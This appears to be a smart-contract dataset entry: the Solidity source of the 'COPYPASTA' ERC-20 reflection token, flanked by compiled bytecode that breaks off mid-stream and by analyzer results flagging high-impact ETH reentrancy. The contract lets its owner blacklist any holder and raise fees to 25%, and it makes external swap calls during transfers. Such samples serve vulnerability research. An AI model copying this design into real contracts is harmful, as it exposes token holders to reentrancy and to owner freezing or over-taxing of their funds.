016120a6565b925050604061220c8682870161210f565b9150509250925092565b6000806040838503121561222957600080fd5b6000612237858286016120a6565b92505060206122488582860161210f565b9150509250929050565b60006020828403121561226457600080fd5b600082013567ffffffffffffffff81111561227e57600080fd5b61228a848285016120d0565b91505092915050565b6000602082840312156122a557600080fd5b60006122b3848285016120fa565b91505092915050565b6000806000606084860312156122d157600080fd5b60006122df86828701612124565b93505060206122f086828701612124565b925050604061230186828701612124565b9150509250925092565b60006123178383612323565b60208301905092915050565b61232c81612a4b565b82525050565b61233b81612a4b565b82525050565b600061234c826128f1565b6123568185612914565b9350612361836128e1565b8060005b83811015612392578151612379888261230b565b975061238483612907565b925050600181019050612365565b5085935050505092915050565b6123a881612a5d565b82525050565b6123b781612aa0565b82525050565b60006123c8826128fc565b6123d28185612925565b93506123e2818560208601612ab2565b6123eb81612bec565b840191505092915050565b6000612403602383612925565b915061240e82612bfd565b604082019050919050565b6000612426602a83612925565b915061243182612c4c565b604082019050919050565b6000612449602283612925565b915061245482612c9b565b604082019050919050565b600061246c601b83612925565b915061247782612cea565b602082019050919050565b600061248f602183612925565b915061249a82612d13565b604082019050919050565b60006124b2602083612925565b91506124bd82612d62565b602082019050919050565b60006124d5602983612925565b91506124e082612d8b565b604082019050919050565b60006124f8602583612925565b915061250382612dda565b604082019050919050565b600061251b602483612925565b915061252682612e29565b604082019050919050565b600061253e601783612925565b915061254982612e78565b602082019050919050565b6000612561600383612925565b915061256c82612ea1565b602082019050919050565b61258081612a89565b82525050565b61258f81612a93565b82525050565b60006020820190506125aa6000830184612332565b92915050565b60006040820190506125c56000830185612332565b6125d26020830184612332565b9392505050565b60006040820190506125ee6000830185612332565b6125fb6020830184612577565b9392505050565b600060c0820190506126176000830189612332565b6126246020830188612577565b61263160408301876123ae565b61263e60608301866123ae565b61264b6080830185612332565b61265860a0830184612577565b979650505050505050565b6000602082019050612678600083018461239f565b92915050565b6000602082019050818103600083015261269881846123bd565b905092915050565b600060208201905081810360008301526126b9816123f6565b9050919050565b600060208201905081810360008301526126d981612419565b9050919050565b600060208201905081810360008301526126f98161243c565b9050919050565b600060208201905081810360008301526127198161245f565b9050919050565b6000602082019050818103600083015261273981612482565b9050919050565b60006020820190508181036000830152612759816124a5565b9050919050565b60006020820190508181036000830152612779816124c8565b9050919050565b60006020820190508181036000830152612799816124eb565b9050919050565b600060208201905081810360008301526127b98161250e565b9050919050565b600060208201905081810360008301526127d981612531565b9050919050565b600060208201905081810360008301526127f981612554565b9050919050565b60006020820190506128156000830184612577565b92915050565b600060a0820190506128306000830188612577565b61283d60208301876123ae565b818103604083015261284f8186612341565b905061285e6060830185612332565b61286b6080830184612577565b9695505050505050565b600060208201905061288a6000830184612586565b92915050565b600061289a6128ab565b90506128a68282612ae5565b919050565b6000604051905090565b600067ffffffffffffffff8211156128d0576128cf612bbd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061294182612a89565b915061294c83612a89565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561298157612980612b5f565b5b828201905092915050565b600061299782612a89565b91506129a283612a89565b9250826129b2576129b1612b8e565b5b828204905092915050565b60006129c882612a89565b91506129d383612a89565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a0c57612a0b612b5f565b5b828202905092915050565b6000612a2282612a89565b9150612a2d83612a89565b925082821015612a4057612a3f612b5f565b5b828203905092915050565b6000612a5682612a69565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612aab82612a89565b9050919050565b60005b83811015612ad0578082015181840152602081019050612ab5565b83811115612adf576000848401525b50505050565b612aee82612bec565b810181811067ffffffffffffffff82111715612b0d57612b0c612bbd565b5b80604052505050565b6000612b2182612a89565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b5457612b53612b5f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f426f740000000000000000000000000000000000000000000000000000000000600082015250565b612ed381612a4b565b8114612ede57600080fd5b50565b612eea81612a5d565b8114612ef557600080fd5b50565b612f0181612a89565b8114612f0c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c2a2a512dee72681306348f09672bdabcc2063128d3ec69398418b7428079a064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,077 |
0x3033cE0969f0bA07CDB628f699B2b8331b5968ab
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract copypasta is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "COPYPASTA";
string private constant _symbol = "CPASTA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _devTax;
uint256 private _buyDevTax = 4;
uint256 private _sellDevTax = 7;
uint256 private _marketingTax;
uint256 private _buyMarketingTax = 4;
uint256 private _sellMarketingTax = 7;
uint256 private _salesTax;
uint256 private _buySalesTax = 3;
uint256 private _sellSalesTax = 3;
uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buySalesTax;
uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellSalesTax;
uint256 private _summedTax = _marketingTax+_salesTax;
uint256 private _numOfTokensToExchangeForTeam = 50000 * 10**9;
uint256 private _routermax = 5000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
address payable private _holdings;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private enableLevelSell = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingTaxAddress, address payable devfeeAddr, address payable depAddr, address payable holdings) {
_Marketingfund = marketingTaxAddress;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_holdings = holdings;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
_isExcludedFromFee[_Deployer] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setLevelSellEnabled(bool enable) external onlyOwner {
enableLevelSell = enable;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_devTax == 0 && _summedTax == 0) return;
_devTax = 0;
_summedTax = 0;
}
function restoreAllFee() private {
_devTax = _buyDevTax;
_marketingTax = _buyMarketingTax;
_salesTax = _buySalesTax;
_summedTax = _marketingTax+_salesTax;
}
function takeBuyFee() private {
_salesTax = _buySalesTax;
_marketingTax = _buyMarketingTax;
_devTax = _buyDevTax;
_summedTax = _marketingTax+_salesTax;
}
function takeSellFee() private {
_devTax = _sellDevTax;
_salesTax = _sellSalesTax;
_marketingTax = _sellMarketingTax;
_summedTax = _sellSalesTax+_sellMarketingTax;
}
function levelSell(uint256 amount, address sender) private returns (uint256) {
uint256 sellTax = amount.mul(_totalSellTax).div(100);
_rOwned[sender] = _rOwned[sender].sub(sellTax);
_rOwned[address(this)] = _rOwned[address(this)].add(sellTax);
uint256 tAmount = amount.sub(sellTax);
uint256 prevEthBalance = address(this).balance;
swapTokensForEth(sellTax);
uint256 newEthBalance = address(this).balance;
uint256 balanceDelta = newEthBalance - prevEthBalance;
if (balanceDelta > 0) {
sendETHForSellTax(balanceDelta);
}
return tAmount;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if (from != owner() && to != owner() && to != uniswapV2Pair) {
require(swapEnabled, "Swap disabled");
_tokenTransfer(from, to, amount, takeFee);
} else {
_tokenTransfer(from, to, amount, takeFee);
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax));
_devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax));
_Deployer.transfer(amount.div(_totalBuyTax).mul(_buySalesTax));
}
function sendETHForSellTax(uint256 amount) private {
_holdings.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 20000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external onlyOwner() {
swapEnabled = enabled;
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setBot(address _bot) external onlyOwner() {
bots[_bot] = true;
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
uint256 amountToTx = amount;
if (!takeFee) {
removeAllFee();
}
else if(sender == uniswapV2Pair) {
takeBuyFee();
}
else if(recipient == uniswapV2Pair) {
takeSellFee();
if (enableLevelSell) {
uint256 remainder = levelSell(amount, sender);
amountToTx = remainder;
}
}
else {
takeSellFee();
}
_transferStandard(sender, recipient, amountToTx);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _devTax, _summedTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 _taxFee = taxFee > 0 ? taxFee : 1;
uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1;
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tTeam = tAmount.mul(_TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_summedTax = teamFee;
}
}
|
0x6080604052600436106101a05760003560e01c806395d89b41116100ec578063cba0e9961161008a578063dd62ed3e11610064578063dd62ed3e14610583578063e01af92c146105c0578063e47d6060146105e9578063f2fde38b14610626576101a7565b8063cba0e996146104f2578063d00efb2f1461052f578063d543dbeb1461055a576101a7565b8063b515566a116100c6578063b515566a14610472578063c0e6b46e1461049b578063c3c8cd80146104c4578063c9567bf9146104db576101a7565b806395d89b41146103e1578063a9059cbb1461040c578063a994856c14610449576101a7565b8063313ce567116101595780636fc3eaec116101335780636fc3eaec1461034b57806370a0823114610362578063715018a61461039f5780638da5cb5b146103b6576101a7565b8063313ce567146102ce5780635932ead1146102f95780636b5caec414610322576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806323b872dd1461023f578063273123b71461027c57806328667162146102a5576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161064f565b6040516101ce9190613bbe565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190613751565b61068c565b60405161020b9190613ba3565b60405180910390f35b34801561022057600080fd5b506102296106aa565b6040516102369190613dc0565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190613702565b6106ba565b6040516102739190613ba3565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061364b565b610793565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190613820565b610883565b005b3480156102da57600080fd5b506102e3610973565b6040516102f09190613e35565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906137ce565b61097c565b005b34801561032e57600080fd5b506103496004803603810190610344919061364b565b610a2e565b005b34801561035757600080fd5b50610360610b1e565b005b34801561036e57600080fd5b506103896004803603810190610384919061364b565b610bc4565b6040516103969190613dc0565b60405180910390f35b3480156103ab57600080fd5b506103b4610c15565b005b3480156103c257600080fd5b506103cb610d68565b6040516103d89190613b5f565b60405180910390f35b3480156103ed57600080fd5b506103f6610d91565b6040516104039190613bbe565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e9190613751565b610dce565b6040516104409190613ba3565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906137ce565b610dec565b005b34801561047e57600080fd5b506104996004803603810190610494919061378d565b610e9e565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190613820565b610fee565b005b3480156104d057600080fd5b506104d96110fe565b005b3480156104e757600080fd5b506104f06111ac565b005b3480156104fe57600080fd5b506105196004803603810190610514919061364b565b6113eb565b6040516105269190613ba3565b60405180910390f35b34801561053b57600080fd5b50610544611441565b6040516105519190613dc0565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190613820565b611447565b005b34801561058f57600080fd5b506105aa60048036038101906105a591906136c6565b61158f565b6040516105b79190613dc0565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e291906137ce565b611616565b005b3480156105f557600080fd5b50610610600480360381019061060b919061364b565b6116c8565b60405161061d9190613ba3565b60405180910390f35b34801561063257600080fd5b5061064d6004803603810190610648919061369d565b61171e565b005b60606040518060400160405280600981526020017f434f505950415354410000000000000000000000000000000000000000000000815250905090565b60006106a06106996118e0565b84846118e8565b6001905092915050565b6000670de0b6b3a7640000905090565b60006106c7848484611ab3565b610788846106d36118e0565b610783856040518060600160405280602881526020016145c360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107396118e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124af9092919063ffffffff16565b6118e8565b600190509392505050565b61079b6118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f90613d00565b60405180910390fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61088b6118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f90613d00565b60405180910390fd5b6001811015801561092a575060198111155b610969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096090613c80565b60405180910390fd5b8060138190555050565b60006009905090565b6109846118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0890613d00565b60405180910390fd5b80601d60176101000a81548160ff02191690831515021790555050565b610a366118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90613d00565b60405180910390fd5b6001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b266118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90613d00565b60405180910390fd5b6000479050610bc181612513565b50565b6000610c0e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c9565b9050919050565b610c1d6118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190613d00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4350415354410000000000000000000000000000000000000000000000000000815250905090565b6000610de2610ddb6118e0565b8484611ab3565b6001905092915050565b610df46118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7890613d00565b60405180910390fd5b80601d60186101000a81548160ff02191690831515021790555050565b610ea66118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90613d00565b60405180910390fd5b60005b8151811015610fea57600160166000848481518110610f7e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610fe2906140e8565b915050610f36565b5050565b610ff66118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90613d00565b60405180910390fd5b600081116110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90613cc0565b60405180910390fd5b6110f56127106110e783670de0b6b3a764000061273790919063ffffffff16565b6127b290919063ffffffff16565b60158190555050565b6111066118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a90613d00565b60405180910390fd5b600061119e30610bc4565b90506111a9816127fc565b50565b6111b46118e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613d00565b60405180910390fd5b601d60149054906101000a900460ff1615611291576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128890613d80565b60405180910390fd5b6001601d60166101000a81548160ff0219169083151502179055506000601d60176101000a81548160ff02191690831515021790555066470de4df820000601e8190555043601f819055506001601d60146101000a81548160ff021916908315150217905550601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611396929190613b7a565b602060405180830381600087803b1580156113b057600080fd5b505af11580156113c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e891906137f7565b50565b6000600560008373ffffffffffffffffffffffffffffffffffffffff16